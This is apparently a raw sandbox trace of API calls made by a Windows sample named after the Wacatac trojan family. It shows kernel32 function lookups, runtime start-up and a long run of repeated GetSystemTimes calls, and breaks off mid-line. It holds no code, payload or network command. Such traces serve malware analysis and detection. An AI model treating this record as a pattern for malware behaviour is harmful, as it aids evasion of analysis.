GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="InitOnceExecuteOnce") returned 0x76c4d627 [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0021.642] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleEx") returned 0x76c4c78f [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandle") returned 0x76c5cbfc [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="WakeConditionVariable") returned 0x771d7de4 [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0021.643] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0021.650] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSRWLock") returned 0x77168456 [0021.650] GetProcAddress (hModule=0x76c20000, lpProcName="AcquireSRWLockExclusive") returned 0x771629f1 [0021.650] GetProcAddress (hModule=0x76c20000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77174892 [0021.650] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseSRWLockExclusive") returned 0x771629ab [0021.650] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableSRW") returned 0x76cb4b74 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWork") returned 0x76c4ee45 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="SubmitThreadpoolWork") returned 0x771a8491 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWork") returned 0x7719d8e2 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0021.651] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeConditionVariable") returned 0x77168456 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="SleepConditionVariableCS") returned 0x76cb4b32 [0021.651] GetProcAddress (hModule=0x76c20000, lpProcName="WakeAllConditionVariable") returned 0x7719409d [0021.651] RtlInitializeConditionVariable () returned 0x43e448 [0021.651] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x800) returned 0x550e20 [0021.651] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0021.651] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x407069) returned 0x0 [0021.652] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wacatac_2019-11-20_00-10.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.652] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.653] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.654] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.655] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.656] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.657] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.658] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.659] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: 